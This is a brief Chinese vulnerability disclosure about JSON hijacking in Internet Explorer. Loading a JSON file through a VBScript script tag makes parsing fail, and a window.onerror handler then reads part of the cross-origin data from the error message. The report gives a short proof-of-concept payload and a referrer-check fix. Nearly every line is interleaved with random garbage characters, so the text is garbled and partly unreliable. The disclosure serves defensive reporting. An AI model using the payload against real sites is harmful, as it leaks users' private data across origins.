简要描述:- d/ O! C6 E- o% j1 }; ^
5 D) Y2 D+ ?. W; N3 O# r k7 D由于某些资源容器对数据处理不当导致json劫持漏洞.
4 v" O8 W! B1 q6 E7 l1 J1 d4 x g# B( D详细说明:4 R9 n, D9 H: D% `+ n* [
由于ie支持vbscript,所以script元素可以指定成vbscript语言:2 M; J& |9 w; A0 X: c
<script language=vbscript></script>. f- `: n% d& P1 O0 j) H/ ^
; K! \( V4 \* h% ?% e
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.- D5 [! ]9 b$ M8 e D% L
漏洞证明:& y9 H i, O' R2 `2 j
<script>+ ? t7 J" T1 l1 `" [% j7 y
window.onerror=function(_){
8 W" m. K1 `6 `- k+ palert(_)
8 ^- u; ^ k! B3 N) F}
3 a, l+ Q- Y. D0 j6 Z X% D7 H</script>
- }6 \* b3 b6 l+ M3 x<script language=vbscript src=1.json></script>
, O* D7 l8 Y. N9 T/ m ; @+ c4 E0 I2 \) K3 k3 p' m
- w2 P7 E. e" A" X1.json:
3 S5 b$ R+ G8 c8 o) R[{"name":"sogili","age":19}]
6 k4 [/ p/ K! Q. O7 T4 d修复方案:+ s: r5 t1 b7 U' N) E# P
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |